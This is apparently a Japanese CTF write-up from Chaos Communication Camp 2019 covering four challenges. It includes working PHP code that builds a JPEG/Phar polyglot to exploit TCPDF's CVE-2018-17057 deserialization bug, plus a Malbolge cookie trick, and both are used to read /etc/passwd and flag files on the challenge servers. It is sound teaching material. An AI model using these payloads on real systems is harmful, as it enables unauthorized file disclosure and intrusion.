8 月 23 日から 8 月 25 日にかけて開催された Chaos Communication Camp 2019 CTF に、チーム zer0pts として参加しました。最終的にチームで 421 点を獲得し、順位は得点 360 チーム中 40 位でした。うち、私は 4 問を解いて 421 点を入れました。
以下、私が解いた問題の writeup です。
Pay our IRC channel a visit :^)
公式の IRC チャンネルに入ると、トピックにフラグが設定されていました。
(フラグをメモしていませんでした🐈)
On the campground of the CCCamp, someone is trying to troll us by encrypting our flags. Sadly, we only got the memory dump of the PC which encrypted our flags.
Please provide us with the flag which is not yet encrypted.
添付ファイル: flagconverter.7z
flagconverter.7z
を展開すると flagconverter.dmp
というメモリダンプのファイルが出てきました。他の問題からこの問題でもフラグは ALLES{
から始まると推測し、バイナリエディタで検索してみるとフラグが綺麗な状態で残っていました。
ALLES{f0r3n51k_15_50m3t1m35_t00_345y}
A pdf conversion service. What could go wrong?
(URL)
添付ファイル: code.zip (ソースコード)
pdfcreator は、PNG や JPEG 等の画像をアップロードすると以下のような HTML が編集可能な形で textarea
に出力され、送信すると入力した HTML を元にした PDF が出力されるという Web アプリケーションでした。
<h1>Converted by CoolPDF</h1><h3>We hope you enjoyed our service!</h3>
<img src="upload/947b4c3d90fffd2b7c7aa1a2498dd2e2.png">
私が問題を確認した時点で、ptr-yudai さんによって PDF の生成には TCPDF というライブラリが使われており、またソースコードに含まれている TCPDF のバージョンは 6.2.19 と古く、CVE-2018-17057 という Phar を使った Insecure Deserialization ができる脆弱性が存在していることが分かっていました。
この脆弱性を利用できないか __destruct
や __construct
のようなマジックメソッドを持つクラスを探していると、creator.php
に以下のようなコードが見つかりました。
<?php
namespace PDFStuff
{
include 'TCPDF/tcpdf.php';
class PDFCreator
{
public $tmpfile;
public $finalfile;
function __construct()
{
}
︙
function __destruct()
{
if (file_exists($this->tmpfile))
{
$info = pathinfo($this->tmpfile);
if ($info['extension'] == "pdf")
{
unlink($this->tmpfile);
}
else
{
echo "Could not delete created PDF: Not a pdf. Check the file: " . file_get_contents($this->tmpfile);
}
}
}
}
}
PDFStuff\PDFCreator
という使えそうなクラスが見つかりました。オブジェクトの破棄時に、$tmpfile
というプロパティの拡張子が pdf
でなければ、$tmpfile
を file_get_contents
で読み込んで出力する処理をしています。これを使えば拡張子が pdf
でないファイルの内容を取得することができそうです。
読み込むと PDFStuff\PDFCreator
のオブジェクトがデシリアライズされるような文字列を作りましょう。まず、以下のような内容の pdfcreator.php
というファイルを作ります。
<?php
namespace PDFStuff {
class PDFCreator {
public $tmpfile;
function __construct($tmpfile) {
$this->tmpfile = $tmpfile;
}
}
}
続いて、ファイルのアップロード時の画像であるかどうかのチェックをごまかせるよう、JPEG と Phar の Polyglot を生成する make_payload.php
を作ります。
<?php
include 'pdfcreator.php';
$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('a.txt', 'a');
$phar->setStub(file_get_contents('base.jpg') . '<?php __HALT_COMPILER(); ? >'); // base.jpg に適当な JPEG を置いておく
$phar->setMetadata(new PDFStuff\PDFCreator('/etc/passwd'));
$phar->stopBuffering();
php -d phar.readonly=0 make_payload.php && mv payload.phar payload.jpg
を実行し、生成された payload.jpg
をアップロードしてから <link type="text/css" href="phar://./upload/(アップロード後のファイル名).jpg">
という HTML で PDF を生成すると、以下のようなエラーが出力されました。
Could not delete created PDF: Not a pdf. Check the file: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
/etc/passwd
が得られました!
では、フラグを探していきましょう。ソースコードから Web サーバのドキュメントルートに flag.php
というファイル名で存在していることは分かっていますが、make_payload.php
の /etc/passwd
を flag.php
や ../flag.php
等に変えても何も出力されません。Web サーバのドキュメントルートを特定するところから始めていきましょう。
HTTP レスポンスヘッダを見ると Server: Apache/2.4.18 (Ubuntu)
とあり、Web サーバには Apache HTTP Server が使われていることが分かります。デフォルトの設定がある /etc/apache2/sites-available/000-default.conf
を読み込んでみると、以下のように出力されました。
<VirtualHost *:80>
ServerAdmin me@mydomain.com
DocumentRoot /var/www/site
<Directory /var/www/site/>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order deny,allow
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
ドキュメントルートは /var/www/site
のようです。/var/www/site/flag.php
を読み込んでみると、以下のように出力されました。
<?php
$flag = "ALLES{phar_jpeg_polyglot_madness_such_w0w}";
フラグが得られました。
ALLES{phar_jpeg_polyglot_madness_such_w0w}
This Challenge can only be solved by the chosen one. While many have tried, no one has ever managed to solve it. Think you can do it? Then go ahead. But be warned, all your skills are going to be put to the test…
(URL)
Hint 1: Cookies are a very esoteric concept!
Hint 2: We agree, this challenge comes straight out of the eighth circle of hell
与えられた URL にアクセスすると、ユーザ名とパスワードを入力するログインフォームが表示されました。登録ページへのリンクもありましたが、以下のような HTML でした。
<div class="link"><div id="left">Need an account?</div><div id="right" onclick="document.cookie='p=KCcmJTpeIiE2fTRYenl4Ly5SdHNyLygnS21ra2pofkRmZWRieD5fXzo6W3FJWDU0VTIxUlJRZmUrTEtLSklHXSMhRFl8QWloeTw8dlY5N01xNTRJSGxqRWloSEFkYz50JjtxI1xKWkg6WHkxVUIuUixQcSlNb0pKN2tHaURE;path=/';document.location='/'">Register</div></div>
パスはそのままで、Cookie の p
を書き換えてからリロードするようです。ログインボタンは <div class="btn" onclick="handle_login()"><div>Login</div></div>
といったように、クリック時に handle_login
関数を呼ぶという実装がされています。handle_login
では以下のように、ログインに成功した場合にも同様に Cookie を書き換えてリロードを行うようです。
var handle_login =()=>{
let payload={
username: document.getElementById('username').value,
password: document.getElementById('password').value
}
fetch("/", {
method:'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(payload)
}).then(r=>{
return r.json()
}).then(r=>{
if(r['status']==0){
display_error(r['msg'])
}else{
document.cookie='p=KCclJTpeIn59fXt6ejFVd3V0dCswKShMbm1rKSJGaGckIyJ5Pz1PXyk6eFtZb3RzbDJTb2guT2UrdmhnOV9HJDUiIV9eV0A='
document.location='/'
}
}).catch(e=> {
display_error('Bad Request')
})
}
また、最初に問題文の URL にアクセスしたとき、Cookie の p
には KCcmJDpeIiF9fDRYenl3NS5SdHNycSgnS21saighRWdmZSJ5P2E8PE06OTg3WTVXVVRTUi9RbGVkY2JLJ0lIR0ZufjJBe1xoPT07dTp0VHI2SzRuIWxrWFdoQmZlZGNicyRNcD5%2BW0hZV1ZEVWZlUVFyKk5M
がセットされていました。どうやら、この Web アプリケーションでは Cookie を使って表示するページの管理を行っているようです。
Cookie の p
をデコードしてみましょう。DevTools の Console で atob(decodeURIComponent('KCcmJDpeIiF9fDRYenl3NS5SdHNycSgnS21saighRWdmZSJ5P2E8PE06OTg3WTVXVVRTUi9RbGVkY2JLJ0lIR0ZufjJBe1xoPT07dTp0VHI2SzRuIWxrWFdoQmZlZGNicyRNcD5%2BW0hZV1ZEVWZlUVFyKk5M'))
を実行すると、以下のような文字列が出てきました。
('&$:^"!}|4Xzyw5.Rtsrq('Kmlj(!Egfe"y?a<<M:987Y5WUTSR/QledcbK'IHGFn~2A{\h==;u:tTr6K4n!lkXWhBfedcbs$Mp>~[HYWVDUfeQQr*NL
ランダムな文字列のように見えますが、問題文の Hint 2 から Malbolge のコードと推測できます。適当な Malbolge インタプリタで実行すると、どうやらこれは login.php
という文字列を出力するコードであると分かりました。サーバ側では、Cookie の p
を Base64 デコード → Malbolge インタプリタで実行 → 出力された文字列を include
もしくは readfile
等で出力、というような実装をしているのでしょう。
好きな文字列を出力する Malbolge コードを作れるツールを使ってどんなファイルが読み込めるか試してみましょう。/etc/passwd
を出力するコードをこのツールで生成し、copy(encodeURIComponent(btoa(document.getElementById('gen-result-area').value)))
を DevTools の Console で実行して Base64 エンコード + パーセントエンコードを行います。適当なアカウントを作って登録してからログインし、コピーされた文字列を Cookie の p
にセットしてリロードすると、以下のように出力されました。
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
/etc/passwd
を読み込むことができました! フラグを探していろいろ試していると、/flag
にフラグがありました。
ALLES{winner_winner_chicken_dinner}